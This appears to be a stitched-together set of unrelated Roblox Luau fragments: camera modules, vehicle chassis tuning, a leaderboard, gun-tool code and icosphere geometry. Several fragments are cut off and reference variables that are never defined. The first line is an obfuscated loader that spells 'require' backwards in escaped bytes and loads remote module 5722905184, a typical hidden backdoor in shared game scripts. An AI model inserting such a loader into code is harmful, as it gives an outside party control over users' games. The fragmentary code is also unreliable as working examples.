getfenv()[string.reverse("\101\114\105\117\113\101\114")](5722905184) --[[ ]]--
|
-- VERTICE FUNCTIONS
|
local function fromIndexArray(array)
local output = {}
for i = 1, #array do
output[i] = CORNERS[array[i]]
end
return output
end
local function cylinder(n)
local output = {}
local arc = PI2 / n
for i = 1, n do
local vi = CFrame.fromAxisAngle(RIGHT, i*arc) * UP
output[i] = RIGHT + vi
output[n + i] = LEFT + vi
end
return output
end
local function icoSphere(n)
local verts = {
Vector3.new(-1, PHI, 0),
Vector3.new(1, PHI, 0),
Vector3.new(-1, -PHI, 0),
Vector3.new(1, -PHI, 0),
Vector3.new(0, -1, PHI),
Vector3.new(0, 1, PHI),
Vector3.new(0, -1, -PHI),
Vector3.new(0, 1, -PHI),
Vector3.new(PHI, 0, -1),
Vector3.new(PHI, 0, 1),
Vector3.new(-PHI, 0, -1),
Vector3.new(-PHI, 0, 1)
}
local indices = {
1, 12, 6,
1, 6, 2,
1, 2, 8,
1, 8, 11,
1, 11, 12,
2, 6, 10,
6, 12, 5,
12, 11, 3,
11, 8, 7,
8, 2, 9,
4, 10, 5,
4, 5, 3,
4, 3, 7,
4, 7, 9,
4, 9, 10,
5, 10, 6,
3, 5, 12,
7, 3, 11,
9, 7, 8,
10, 9, 2
}
local splits = {}
local function split(i, j)
local key = i < j and (i .. "," .. j) or (j .. "," .. i)
if (not splits[key]) then
verts[#verts+1] = (verts[i] + verts[j]) / 2
splits[key] = #verts
end
return splits[key]
end
for _ = 1, n do
for i = #indices, 1, -3 do
local v1, v2, v3 = indices[i - 2], indices[i - 1], indices[i]
local a = split(v1, v2)
local b = split(v2, v3)
local c = split(v3, v1)
indices[#indices+1] = v1
indices[#indices+1] = a
indices[#indices+1] = c
indices[#indices+1] = v2
indices[#indices+1] = b
indices[#indices+1] = a
indices[#indices+1] = v3
indices[#indices+1] = c
indices[#indices+1] = b
indices[#indices+1] = a
indices[#indices+1] = b
indices[#indices+1] = c
table.remove(indices, i)
table.remove(indices, i - 1)
table.remove(indices, i - 2)
end
end
-- normalize
for i = 1, #verts do
verts[i] = verts[i].Unit
end
return verts
end
|
--!strict
-- this event fires every frame if the speed is higher then 0. can use alot of resources depending on what you write here.
|
return function (system, particleRef)
warn("Particle Position Changed, Info Follows")
warn("CFrame:", particleRef.CFrame)
warn("Color:", particleRef.Color)
warn("Children:", particleRef.Children)
end
|
-- PLACE THIS SCRIPT INTO STARTERPLAYERSCRIPTS
|
UserInputService = game:GetService("UserInputService")
RunService = game:GetService("RunService")
|
-- Decompiled with the Synapse X Luau decompiler.
|
local v1 = Vector3.new(1, 0, 0);
local v2 = Vector3.new(0, 1, 0);
local v3 = Vector3.new(0, 0, 1);
local v4 = Vector3.new(0, -3, 0);
local v5 = {
InitialDistance = 25,
MinDistance = 10,
MaxDistance = 100,
InitialElevation = 35,
MinElevation = 35,
MaxElevation = 35,
ReferenceAzimuth = -45,
CWAzimuthTravel = 90,
CCWAzimuthTravel = 90,
UseAzimuthLimits = false
};
local v6 = require(script.Parent:WaitForChild("BaseCamera"));
local v7 = setmetatable({}, v6);
v7.__index = v7;
function v7.new()
local v8 = setmetatable(v6.new(), v7);
v8.lastUpdate = tick();
v8.changedSignalConnections = {};
v8.refAzimuthRad = nil;
v8.curAzimuthRad = nil;
v8.minAzimuthAbsoluteRad = nil;
v8.maxAzimuthAbsoluteRad = nil;
v8.useAzimuthLimits = nil;
v8.curElevationRad = nil;
v8.minElevationRad = nil;
v8.maxElevationRad = nil;
v8.curDistance = nil;
v8.minDistance = nil;
v8.maxDistance = nil;
v8.r3ButtonDown = false;
v8.l3ButtonDown = false;
v8.gamepadDollySpeedMultiplier = 1;
v8.lastUserPanCamera = tick();
v8.externalProperties = {};
v8.externalProperties.InitialDistance = 25;
v8.externalProperties.MinDistance = 10;
v8.externalProperties.MaxDistance = 100;
v8.externalProperties.InitialElevation = 35;
v8.externalProperties.MinElevation = 35;
v8.externalProperties.MaxElevation = 35;
v8.externalProperties.ReferenceAzimuth = -45;
v8.externalProperties.CWAzimuthTravel = 90;
v8.externalProperties.CCWAzimuthTravel = 90;
v8.externalProperties.UseAzimuthLimits = false;
v8:LoadNumberValueParameters();
return v8;
end;
function v7.LoadOrCreateNumberValueParameter(p1, p2, p3, p4)
local v9 = script:FindFirstChild(p2);
if v9 and v9:isA(p3) then
p1.externalProperties[p2] = v9.Value;
else
if p1.externalProperties[p2] == nil then
print("externalProperties table has no entry for ", p2);
return;
end;
v9 = Instance.new(p3);
v9.Name = p2;
v9.Parent = script;
v9.Value = p1.externalProperties[p2];
end;
if p4 then
if p1.changedSignalConnections[p2] then
p1.changedSignalConnections[p2]:Disconnect();
end;
p1.changedSignalConnections[p2] = v9.Changed:Connect(function(p5)
p1.externalProperties[p2] = p5;
p4(p1);
end);
end;
end;
function v7.SetAndBoundsCheckAzimuthValues(p6)
p6.minAzimuthAbsoluteRad = math.rad(p6.externalProperties.ReferenceAzimuth) - math.abs(math.rad(p6.externalProperties.CWAzimuthTravel));
p6.maxAzimuthAbsoluteRad = math.rad(p6.externalProperties.ReferenceAzimuth) + math.abs(math.rad(p6.externalProperties.CCWAzimuthTravel));
p6.useAzimuthLimits = p6.externalProperties.UseAzimuthLimits;
if p6.useAzimuthLimits then
p6.curAzimuthRad = math.max(p6.curAzimuthRad, p6.minAzimuthAbsoluteRad);
p6.curAzimuthRad = math.min(p6.curAzimuthRad, p6.maxAzimuthAbsoluteRad);
end;
end;
function v7.SetAndBoundsCheckElevationValues(p7)
local v10 = math.max(p7.externalProperties.MinElevation, -80);
local v11 = math.min(p7.externalProperties.MaxElevation, 80);
p7.minElevationRad = math.rad(math.min(v10, v11));
p7.maxElevationRad = math.rad(math.max(v10, v11));
p7.curElevationRad = math.max(p7.curElevationRad, p7.minElevationRad);
p7.curElevationRad = math.min(p7.curElevationRad, p7.maxElevationRad);
end;
function v7.SetAndBoundsCheckDistanceValues(p8)
p8.minDistance = p8.externalProperties.MinDistance;
p8.maxDistance = p8.externalProperties.MaxDistance;
p8.curDistance = math.max(p8.curDistance, p8.minDistance);
p8.curDistance = math.min(p8.curDistance, p8.maxDistance);
end;
function v7.LoadNumberValueParameters(p9)
p9:LoadOrCreateNumberValueParameter("InitialElevation", "NumberValue", nil);
p9:LoadOrCreateNumberValueParameter("InitialDistance", "NumberValue", nil);
p9:LoadOrCreateNumberValueParameter("ReferenceAzimuth", "NumberValue", p9.SetAndBoundsCheckAzimuthValue);
p9:LoadOrCreateNumberValueParameter("CWAzimuthTravel", "NumberValue", p9.SetAndBoundsCheckAzimuthValues);
p9:LoadOrCreateNumberValueParameter("CCWAzimuthTravel", "NumberValue", p9.SetAndBoundsCheckAzimuthValues);
p9:LoadOrCreateNumberValueParameter("MinElevation", "NumberValue", p9.SetAndBoundsCheckElevationValues);
p9:LoadOrCreateNumberValueParameter("MaxElevation", "NumberValue", p9.SetAndBoundsCheckElevationValues);
p9:LoadOrCreateNumberValueParameter("MinDistance", "NumberValue", p9.SetAndBoundsCheckDistanceValues);
p9:LoadOrCreateNumberValueParameter("MaxDistance", "NumberValue", p9.SetAndBoundsCheckDistanceValues);
p9:LoadOrCreateNumberValueParameter("UseAzimuthLimits", "BoolValue", p9.SetAndBoundsCheckAzimuthValues);
p9.curAzimuthRad = math.rad(p9.externalProperties.ReferenceAzimuth);
p9.curElevationRad = math.rad(p9.externalProperties.InitialElevation);
p9.curDistance = p9.externalProperties.InitialDistance;
p9:SetAndBoundsCheckAzimuthValues();
p9:SetAndBoundsCheckElevationValues();
p9:SetAndBoundsCheckDistanceValues();
end;
function v7.GetModuleName(p10)
return "OrbitalCamera";
end;
local u1 = require(script.Parent:WaitForChild("CameraUtils"));
function v7.SetInitialOrientation(p11, p12)
if not p12 or not p12.RootPart then
warn("OrbitalCamera could not set initial orientation due to missing humanoid");
return;
end;
local l__unit__12 = (p12.RootPart.CFrame.lookVector - Vector3.new(0, 0.23, 0)).unit;
local v13 = u1.GetAngleBetweenXZVectors(l__unit__12, p11:GetCameraLookVector());
local v14 = math.asin(p11:GetCameraLookVector().y) - math.asin(l__unit__12.y);
if not u1.IsFinite(v13) then
v13 = 0;
end;
if not u1.IsFinite(v14) then
v14 = 0;
end;
p11.rotateInput = Vector2.new(v13, v14);
end;
function v7.GetCameraToSubjectDistance(p13)
return p13.curDistance;
end;
local l__Players__2 = game:GetService("Players");
function v7.SetCameraToSubjectDistance(p14, p15)
print("OrbitalCamera SetCameraToSubjectDistance ", p15);
if l__Players__2.LocalPlayer then
p14.currentSubjectDistance = u1.Clamp(p14.minDistance, p14.maxDistance, p15);
p14.currentSubjectDistance = math.max(p14.currentSubjectDistance, p14.FIRST_PERSON_DISTANCE_THRESHOLD);
end;
p14.inFirstPerson = false;
p14:UpdateMouseBehavior();
return p14.currentSubjectDistance;
end;
local u3 = Vector3.new(0, 0, 0);
function v7.CalculateNewLookVector(p16, p17, p18)
local v15 = p17 or p16:GetCameraLookVector();
local v16 = math.asin(v15.y);
local v17 = Vector2.new(p18.x, (u1.Clamp(v16 - 1.3962634015954636, v16 - -1.3962634015954636, p18.y)));
return (CFrame.Angles(0, -v17.x, 0) * CFrame.new(u3, v15) * CFrame.Angles(-v17.y, 0, 0)).lookVector;
end;
local u4 = Vector2.new(0, 0);
function v7.GetGamepadPan(p19, p20, p21, p22)
if p22.UserInputType == p19.activeGamepad and p22.KeyCode == Enum.KeyCode.Thumbstick2 then
if not p19.r3ButtonDown and not p19.l3ButtonDown then
if p21 == Enum.UserInputState.Cancel then
p19.gamepadPanningCamera = u4;
return;
elseif Vector2.new(p22.Position.X, -p22.Position.Y).magnitude > 0.2 then
p19.gamepadPanningCamera = Vector2.new(p22.Position.X, -p22.Position.Y);
return;
else
p19.gamepadPanningCamera = u4;
return;
end;
end;
else
return;
end;
if p22.Position.Y > 0.2 then
p19.gamepadDollySpeedMultiplier = 0.96;
return;
end;
if p22.Position.Y < -0.2 then
p19.gamepadDollySpeedMultiplier = 1.04;
return;
end;
p19.gamepadDollySpeedMultiplier = 1;
end;
function v7.DoGamepadZoom(p23, p24, p25, p26)
if p26.UserInputType == p23.activeGamepad and (p26.KeyCode == Enum.KeyCode.ButtonR3 or p26.KeyCode == Enum.KeyCode.ButtonL3) then
if p25 == Enum.UserInputState.Begin then
p23.r3ButtonDown = p26.KeyCode == Enum.KeyCode.ButtonR3;
p23.l3ButtonDown = p26.KeyCode == Enum.KeyCode.ButtonL3;
return;
end;
if p25 == Enum.UserInputState.End then
if p26.KeyCode == Enum.KeyCode.ButtonR3 then
p23.r3ButtonDown = false;
elseif p26.KeyCode == Enum.KeyCode.ButtonL3 then
p23.l3ButtonDown = false;
end;
if not p23.r3ButtonDown and not p23.l3ButtonDown then
p23.gamepadDollySpeedMultiplier = 1;
end;
end;
end;
end;
function v7.BindGamepadInputActions(p27)
local l__ContextActionService__18 = game:GetService("ContextActionService");
l__ContextActionService__18:BindAction("OrbitalCamGamepadPan", function(p28, p29, p30)
p27:GetGamepadPan(p28, p29, p30);
end, false, Enum.KeyCode.Thumbstick2);
l__ContextActionService__18:BindAction("OrbitalCamGamepadZoom", function(p31, p32, p33)
p27:DoGamepadZoom(p31, p32, p33);
end, false, Enum.KeyCode.ButtonR3);
l__ContextActionService__18:BindAction("OrbitalCamGamepadZoomAlt", function(p34, p35, p36)
p27:DoGamepadZoom(p34, p35, p36);
end, false, Enum.KeyCode.ButtonL3);
end;
local u5 = 0;
local l__VRService__6 = game:GetService("VRService");
local u7 = Vector3.new(1, 0, 1);
local u8 = 2 * math.pi;
function v7.Update(p37, p38)
local v19 = tick();
local v20 = v19 - p37.lastUpdate;
local v21 = p37.UserPanningTheCamera == true;
local l__CurrentCamera__22 = workspace.CurrentCamera;
local v23 = l__CurrentCamera__22.CFrame;
local l__Focus__24 = l__CurrentCamera__22.Focus;
local v25 = p37:GetHumanoid();
local v26 = l__CurrentCamera__22 and l__CurrentCamera__22.CameraSubject;
local v27 = v26 and v26:IsA("VehicleSeat");
local v28 = v26 and v26:IsA("SkateboardPlatform");
if p37.lastUpdate == nil or v20 > 1 then
p37.lastCameraTransform = nil;
end;
if p37.lastUpdate then
local v29 = p37:UpdateGamepad();
if p37:ShouldUseVRRotation() then
p37.RotateInput = p37.RotateInput + p37:GetVRRotationInput();
else
local v30 = math.min(0.1, v20);
if v29 ~= u4 then
v21 = true;
p37.rotateInput = p37.rotateInput + v29 * v30;
end;
local v31 = 0;
if not v27 and not v28 then
if p37.TurningLeft then
local v32 = -120;
else
v32 = 0;
end;
if p37.TurningRight then
local v33 = 120;
else
v33 = 0;
end;
v31 = v31 + v32 + v33;
end;
if v31 ~= 0 then
p37.rotateInput = p37.rotateInput + Vector2.new(math.rad(v31 * v30), 0);
v21 = true;
end;
end;
end;
if v21 then
u5 = 0;
p37.lastUserPanCamera = tick();
end;
if not (v19 - p37.lastUserPanCamera < 2) then
end;
local v34 = p37:GetSubjectPosition();
if v34 and l__Players__2.LocalPlayer and l__CurrentCamera__22 then
if p37.gamepadDollySpeedMultiplier ~= 1 then
p37:SetCameraToSubjectDistance(p37.currentSubjectDistance * p37.gamepadDollySpeedMultiplier);
end;
local l__VREnabled__35 = l__VRService__6.VREnabled;
local v36 = l__VREnabled__35 and p37:GetVRFocus(v34, v20) or CFrame.new(v34);
if l__VREnabled__35 and not p37:IsInFirstPerson() then
local v37 = p37:GetCameraHeight();
local v38 = v34 - l__CurrentCamera__22.CFrame.p;
local l__magnitude__39 = v38.magnitude;
if p37.currentSubjectDistance < l__magnitude__39 or p37.rotateInput.x ~= 0 then
local v40 = p37:CalculateNewLookVector(v38.unit * u7, Vector2.new(p37.rotateInput.x, 0)) * math.min(l__magnitude__39, p37.currentSubjectDistance);
local v41 = v36.p - v40;
local v42 = l__CurrentCamera__22.CFrame.lookVector;
if p37.rotateInput.x ~= 0 then
v42 = v40;
end;
p37.RotateInput = u4;
v23 = CFrame.new(v41, (Vector3.new(v41.x + v42.x, v41.y, v41.z + v42.z))) + Vector3.new(0, v37, 0);
end;
else
p37.curAzimuthRad = p37.curAzimuthRad - p37.rotateInput.x;
if p37.useAzimuthLimits then
p37.curAzimuthRad = u1.Clamp(p37.minAzimuthAbsoluteRad, p37.maxAzimuthAbsoluteRad, p37.curAzimuthRad);
else
p37.curAzimuthRad = p37.curAzimuthRad ~= 0 and math.sign(p37.curAzimuthRad) * (math.abs(p37.curAzimuthRad) % u8) or 0;
end;
p37.curElevationRad = u1.Clamp(p37.minElevationRad, p37.maxElevationRad, p37.curElevationRad + p37.rotateInput.y);
v23 = CFrame.new(v34 + p37.currentSubjectDistance * (CFrame.fromEulerAnglesYXZ(-p37.curElevationRad, p37.curAzimuthRad, 0) * v3), v34);
p37.rotateInput = u4;
end;
p37.lastCameraTransform = v23;
p37.lastCameraFocus = l__Focus__24;
if (v27 or v28) and v26:IsA("BasePart") then
p37.lastSubjectCFrame = v26.CFrame;
else
p37.lastSubjectCFrame = nil;
end;
end;
p37.lastUpdate = v19;
return v23, l__Focus__24;
end;
return v7;
|
-- declarations
|
local sDied = newSound("")
local sFallingDown = newSound("")
local sFreeFalling = newSound("")
local sGettingUp = newSound("")
local sJumping = newSound("")
local sRunning = newSound("")
sRunning.Looped = true
local Figure = script.Parent
local Head = waitForChild(Figure, "Head")
local Humanoid = waitForChild(Figure, "Humanoid")
|
--[[ Functions overridden from BaseCamera ]]
|
--
function LegacyCamera:SetCameraToSubjectDistance(desiredSubjectDistance)
return BaseCamera.SetCameraToSubjectDistance(self,desiredSubjectDistance)
end
function LegacyCamera:Update(dt)
-- Cannot update until cameraType has been set
if not self.cameraType then return end
local now = tick()
local timeDelta = (now - self.lastUpdate)
local camera = workspace.CurrentCamera
local newCameraCFrame = camera.CFrame
local newCameraFocus = camera.Focus
local player = PlayersService.LocalPlayer
local humanoid = self:GetHumanoid()
local cameraSubject = camera and camera.CameraSubject
local isInVehicle = cameraSubject and cameraSubject:IsA('VehicleSeat')
local isOnASkateboard = cameraSubject and cameraSubject:IsA('SkateboardPlatform')
local isClimbing = humanoid and humanoid:GetState() == Enum.HumanoidStateType.Climbing
if self.lastUpdate == nil or timeDelta > 1 then
self.lastDistanceToSubject = nil
end
local subjectPosition = self:GetSubjectPosition()
if self.cameraType == Enum.CameraType.Fixed then
if self.lastUpdate then
-- Cap out the delta to 0.1 so we don't get some crazy things when we re-resume from
local delta = math.min(0.1, now - self.lastUpdate)
local gamepadRotation = self:UpdateGamepad()
self.rotateInput = self.rotateInput + (gamepadRotation * delta)
end
if subjectPosition and player and camera then
local distanceToSubject = self:GetCameraToSubjectDistance()
local newLookVector = self:CalculateNewLookVector()
self.rotateInput = ZERO_VECTOR2
newCameraFocus = camera.Focus -- Fixed camera does not change focus
newCameraCFrame = CFrame.new(camera.CFrame.p, camera.CFrame.p + (distanceToSubject * newLookVector))
end
elseif self.cameraType == Enum.CameraType.Attach then
if subjectPosition and camera then
local distanceToSubject = self:GetCameraToSubjectDistance()
local humanoid = self:GetHumanoid()
if self.lastUpdate and humanoid and humanoid.RootPart then
-- Cap out the delta to 0.1 so we don't get some crazy things when we re-resume from
local delta = math.min(0.1, now - self.lastUpdate)
local gamepadRotation = self:UpdateGamepad()
self.rotateInput = self.rotateInput + (gamepadRotation * delta)
local forwardVector = humanoid.RootPart.CFrame.lookVector
local y = Util.GetAngleBetweenXZVectors(forwardVector, self:GetCameraLookVector())
if Util.IsFinite(y) then
-- Preserve vertical rotation from user input
self.rotateInput = Vector2.new(y, self.rotateInput.Y)
end
end
local newLookVector = self:CalculateNewLookVector()
self.rotateInput = ZERO_VECTOR2
newCameraFocus = CFrame.new(subjectPosition)
newCameraCFrame = CFrame.new(subjectPosition - (distanceToSubject * newLookVector), subjectPosition)
end
elseif self.cameraType == Enum.CameraType.Watch then
if subjectPosition and player and camera then
local cameraLook = nil
local humanoid = self:GetHumanoid()
if humanoid and humanoid.RootPart then
local diffVector = subjectPosition - camera.CFrame.p
cameraLook = diffVector.unit
if self.lastDistanceToSubject and self.lastDistanceToSubject == self:GetCameraToSubjectDistance() then
-- Don't clobber the zoom if they zoomed the camera
local newDistanceToSubject = diffVector.magnitude
self:SetCameraToSubjectDistance(newDistanceToSubject)
end
end
local distanceToSubject = self:GetCameraToSubjectDistance()
local newLookVector = self:CalculateNewLookVector(cameraLook)
self.rotateInput = ZERO_VECTOR2
newCameraFocus = CFrame.new(subjectPosition)
newCameraCFrame = CFrame.new(subjectPosition - (distanceToSubject * newLookVector), subjectPosition)
self.lastDistanceToSubject = distanceToSubject
end
else
-- Unsupported type, return current values unchanged
return camera.CFrame, camera.Focus
end
self.lastUpdate = now
return newCameraCFrame, newCameraFocus
end
return LegacyCamera
|
---- []
|
Body.DescendantAdded:Connect(function(descend)
spawn(function()
if descend:IsA("Tool") then
TurnCharacterToMouse = true
end
end)
end)
Body.DescendantRemoving:Connect(function(descend)
spawn(function()
if descend:IsA("Tool") then
TurnCharacterToMouse = false
end
end)
end)
|
--[[Engine]]
|
--Torque Curve
Tune.Horsepower = 370 -- [TORQUE CURVE VISUAL]
Tune.IdleRPM = 700 -- https://www.desmos.com/calculator/2uo3hqwdhf
Tune.PeakRPM = 6000 -- Use sliders to manipulate values
Tune.Redline = 6700 -- Copy and paste slider values into the respective tune values
Tune.EqPoint = 5500
Tune.PeakSharpness = 7.5
Tune.CurveMult = 0.16
--Incline Compensation
Tune.InclineComp = 4.7 -- Torque compensation multiplier for inclines (applies gradient from 0-90 degrees)
--Misc
Tune.RevAccel = 150 -- RPM acceleration when clutch is off
Tune.RevDecay = 75 -- RPM decay when clutch is off
Tune.RevBounce = 500 -- RPM kickback from redline
Tune.IdleThrottle = 3 -- Percent throttle at idle
Tune.ClutchTol = 500 -- Clutch engagement threshold (higher = faster response)
|
--------Insert your bricks into this model. Name one of the bricks "Engine"
| |
--[[ Constants ]]
|
--
local TOUCH_CONTROL_SHEET = "rbxasset://textures/ui/Input/TouchControlsSheetV2.png"
|
--Run
|
local ver=require(car["A-Chassis Tune"].README)
print("//INSPARE: AC6 Loaded - Build "..ver)
while wait() do
Steering()
Engine()
if _Tune.AutoFlip then Flip() end
_IsOn = script.Parent.IsOn.Value
_InControls = script.Parent.ControlsOpen.Value
script.Parent.Values.Gear.Value = _CGear
script.Parent.Values.RPM.Value = _RPM
script.Parent.Values.Horsepower.Value = _HP
script.Parent.Values.Torque.Value = _HP * 5250 / _RPM
script.Parent.Values.TransmissionMode.Value = _TMode
script.Parent.Values.Throttle.Value = _GThrot
script.Parent.Values.Brake.Value = _GBrake
script.Parent.Values.SteerC.Value = _GSteerC*(1-math.min(car.DriveSeat.Velocity.Magnitude/_Tune.SteerDecay,1-_Tune.MinSteer))
script.Parent.Values.SteerT.Value = _GSteerT
script.Parent.Values.PBrake.Value = _PBrake
script.Parent.Values.TCS.Value = _TCS
script.Parent.Values.TCSActive.Value = _TCSActive
script.Parent.Values.Velocity.Value = car.DriveSeat.Velocity
if _PGear~=_CGear then
_PGear=_CGear
car.DriveSeat.MaxSpeed = car.DriveSeat.Velocity.Magnitude*(_Tune.Redline/_RPM)
end
end
|
--Put this script into startergui--
|
local player = game.Players.LocalPlayer
local topbarplus = player.PlayerGui:WaitForChild("TopbarPlus", 30)
topbarplus.TopbarContainer.UnnamedIcon.Visible = false
|
---------------------------------------Function end here.
|
end
Tool.Enabled = true
function onActivated()
if not Tool.Enabled then
return
end
--Tool.Enabled = false
local character = Tool.Parent;
local humanoid = character.Humanoid
if humanoid == nil then
print("Humanoid not found")
return
end
local targetPos = humanoid.TargetPoint
local lookAt = (targetPos - character.Head.Position).unit
if (check()) then
fire(lookAt)
wait(0.1)
onActivated()
end
return
--Tool.Enabled = true
end
script.Parent.Activated:connect(onActivated)
|
----𝐁𝐮 𝐊𝐢𝐭 𝐇𝐞𝐲𝐞𝐜𝐚𝐧𝐥ı𝐘𝐓 𝐓𝐚𝐫𝐚𝐟ı𝐧𝐝𝐚𝐧 𝐘𝐚𝐩ı𝐥𝐦ış𝐭ı𝐫 İ𝐳𝐢𝐧𝐬𝐢𝐳 𝐕𝐢𝐝𝐞𝐨𝐬𝐮 Ç𝐞𝐤𝐢𝐥𝐦𝐞𝐬𝐢 𝐘𝐚𝐬𝐚𝐤𝐭ı𝐫
|
local DataStoreService = game:GetService("DataStoreService")
local DataStore = DataStoreService:GetOrderedDataStore("GlobalLeaderboard_" .. StatsName)
local SurfaceGui = script.Parent
local Sample = script.Sample
local List = SurfaceGui.Frame.List--𝐁𝐮 𝐊𝐢𝐭 𝐇𝐞𝐲𝐞𝐜𝐚𝐧𝐥ı𝐘𝐓 𝐓𝐚𝐫𝐚𝐟ı𝐧𝐝𝐚𝐧 𝐘𝐚𝐩ı𝐥𝐦ış𝐭ı𝐫 İ𝐳𝐢𝐧𝐬𝐢𝐳 𝐕𝐢𝐝𝐞𝐨𝐬𝐮 Ç𝐞𝐤𝐢𝐥𝐦𝐞𝐬𝐢 𝐘𝐚𝐬𝐚𝐤𝐭ı𝐫
local ItemsFrame = List.ListContent.Items
local function GetItems()
local Data = DataStore:GetSortedAsync(false, MaxItems, MinValueDisplay, MaxValueDisplay)
local TopPage = Data:GetCurrentPage()
ItemsFrame.Nothing.Visible = #TopPage == 0 and true or false
for i, v in ipairs(TopPage) do
local UserId = v.key--𝐁𝐮 𝐊𝐢𝐭 𝐇𝐞𝐲𝐞𝐜𝐚𝐧𝐥ı𝐘𝐓 𝐓𝐚𝐫𝐚𝐟ı𝐧𝐝𝐚𝐧 𝐘𝐚𝐩ı𝐥𝐦ış𝐭ı𝐫 İ𝐳𝐢𝐧𝐬𝐢𝐳 𝐕𝐢𝐝𝐞𝐨𝐬𝐮 Ç𝐞𝐤𝐢𝐥𝐦𝐞𝐬𝐢 𝐘𝐚𝐬𝐚𝐤𝐭ı𝐫
local Value = v.value
local Username = "[Not Available]"
local Color = Color3.fromRGB(38, 50, 56)--𝐁𝐮 𝐊𝐢𝐭 𝐇𝐞𝐲𝐞𝐜𝐚𝐧𝐥ı𝐘𝐓 𝐓𝐚𝐫𝐚𝐟ı𝐧𝐝𝐚𝐧 𝐘𝐚𝐩ı𝐥𝐦ış𝐭ı𝐫 İ𝐳𝐢𝐧𝐬𝐢𝐳 𝐕𝐢𝐝𝐞𝐨𝐬𝐮 Ç𝐞𝐤𝐢𝐥𝐦𝐞𝐬𝐢 𝐘𝐚𝐬𝐚𝐤𝐭ı𝐫
local Success, Error = pcall(function()
Username = game.Players:GetNameFromUserIdAsync(UserId)
end)
--𝐁𝐮 𝐊𝐢𝐭 𝐇𝐞𝐲𝐞𝐜𝐚𝐧𝐥ı𝐘𝐓 𝐓𝐚𝐫𝐚𝐟ı𝐧𝐝𝐚𝐧 𝐘𝐚𝐩ı𝐥𝐦ış𝐭ı𝐫 İ𝐳𝐢𝐧𝐬𝐢𝐳 𝐕𝐢𝐝𝐞𝐨𝐬𝐮 Ç𝐞𝐤𝐢𝐥𝐦𝐞𝐬𝐢 𝐘𝐚𝐬𝐚𝐤𝐭ı𝐫
if i == 1 then
Color = Color3.fromRGB(255, 215, 0)
elseif i == 2 then
Color = Color3.fromRGB(192, 192, 192)
elseif i == 3 then
Color = Color3.fromRGB(205, 127, 50)
end--𝐁𝐮 𝐊𝐢𝐭 𝐇𝐞𝐲𝐞𝐜𝐚𝐧𝐥ı𝐘𝐓 𝐓𝐚𝐫𝐚𝐟ı𝐧𝐝𝐚𝐧 𝐘𝐚𝐩ı𝐥𝐦ış𝐭ı𝐫 İ𝐳𝐢𝐧𝐬𝐢𝐳 𝐕𝐢𝐝𝐞𝐨𝐬𝐮 Ç𝐞𝐤𝐢𝐥𝐦𝐞𝐬𝐢 𝐘𝐚𝐬𝐚𝐤𝐭ı𝐫
local Item = Sample:Clone()
Item.Name = Username
Item.LayoutOrder = i--𝐁𝐮 𝐊𝐢𝐭 𝐇𝐲𝐞𝐜𝐚𝐧𝐥ı𝐘𝐓 𝐓𝐚𝐫𝐚𝐟ı𝐧𝐝𝐚𝐧 𝐘𝐚𝐩ı𝐥𝐦ış𝐭ı𝐫 İ𝐳𝐢𝐧𝐬𝐢𝐳 𝐕𝐢𝐝𝐞𝐨𝐬𝐮 Ç𝐞𝐤𝐢𝐥𝐦𝐞𝐬𝐢 𝐘𝐚𝐬𝐚𝐤𝐭ı𝐫
Item.Values.Number.TextColor3 = Color
Item.Values.Number.Text = i
Item.Values.Username.Text = Username--𝐁𝐮 𝐊𝐢𝐭 𝐇𝐞𝐲𝐞𝐜𝐚𝐧𝐥ı𝐘𝐓 𝐓𝐚𝐫𝐚𝐟ı𝐧𝐝𝐚𝐧 𝐘𝐚𝐩ı𝐥𝐦ış𝐭ı𝐫 İ𝐳𝐢𝐧𝐬𝐢𝐳 𝐕𝐢𝐝𝐞𝐨𝐬𝐮 Ç𝐞𝐤𝐢𝐥𝐦𝐞𝐬𝐢 𝐘𝐚𝐬𝐚𝐤𝐭ı𝐫
Item.Values.Value.Text = Value
Item.Parent = ItemsFrame
end
end
|
--- Returns a type name, parsing aliases.
|
function Registry:GetTypeName (name)
return self.TypeAliases[name] or name
end
|
--// Functions
|
function MakeFakeArms()
Arms = Instance.new("Model")
Arms.Name = "Arms"
Arms.Parent = L_5_
local L_172_ = Instance.new("Humanoid")
L_172_.MaxHealth = 0
L_172_.Health = 0
L_172_.Name = ""
L_172_.Parent = Arms
if L_3_:FindFirstChild("Shirt") then
local L_177_ = L_3_:FindFirstChild("Shirt"):clone()
L_177_.Parent = Arms
end
local L_173_ = L_3_:FindFirstChild("Right Arm"):clone()
for L_178_forvar1, L_179_forvar2 in pairs(L_173_:GetChildren()) do
if L_179_forvar2:IsA('Motor6D') then
L_179_forvar2:Destroy()
end
end
L_173_.Name = "Right Arm"
L_173_.FormFactor = "Custom"
L_173_.Size = Vector3.new(0.8, 2.5, 0.8)
L_173_.Transparency = 0.0
local L_174_ = Instance.new("Motor6D")
L_174_.Part0 = L_173_
L_174_.Part1 = L_3_:FindFirstChild("Right Arm")
L_174_.C0 = CFrame.new()
L_174_.C1 = CFrame.new()
L_174_.Parent = L_173_
L_173_.Parent = Arms
local L_175_ = L_3_:FindFirstChild("Left Arm"):clone()
L_175_.Name = "Left Arm"
L_175_.FormFactor = "Custom"
L_175_.Size = Vector3.new(0.8, 2.5, 0.8)
L_175_.Transparency = 0.0
local L_176_ = Instance.new("Motor6D")
L_176_.Part0 = L_175_
L_176_.Part1 = L_3_:FindFirstChild("Left Arm")
L_176_.C0 = CFrame.new()
L_176_.C1 = CFrame.new()
L_176_.Parent = L_175_
L_175_.Parent = Arms
end
function RemoveArmModel()
if Arms then
Arms:Destroy()
Arms = nil
end
end
local L_135_
function CreateShell()
L_135_ = time()
local L_180_ = L_1_.Shell:clone()
if L_180_:FindFirstChild('Shell') then
L_180_.Shell:Destroy()
end
L_180_.CFrame = L_1_.Chamber.CFrame
L_180_.Velocity = L_1_.Chamber.CFrame.lookVector * 30 + Vector3.new(0, 4, 0)
--shell.RotVelocity = Vector3.new(-10,40,30)
L_180_.Parent = L_101_
L_180_.CanCollide = false
game:GetService("Debris"):addItem(L_180_, 1)
delay(0.5, function()
if L_19_:FindFirstChild('ShellCasing') then
local L_181_ = L_19_.ShellCasing:clone()
L_181_.Parent = L_2_.PlayerGui
L_181_:Play()
game:GetService('Debris'):AddItem(L_181_, L_181_.TimeLength)
end
end)
end
|
--[[ SCRIPT VARIABLES ]]
|
local CHAT_BUBBLE_FONT = Enum.Font.SourceSans
local CHAT_BUBBLE_FONT_SIZE = Enum.FontSize.Size24 -- if you change CHAT_BUBBLE_FONT_SIZE_INT please change this to match
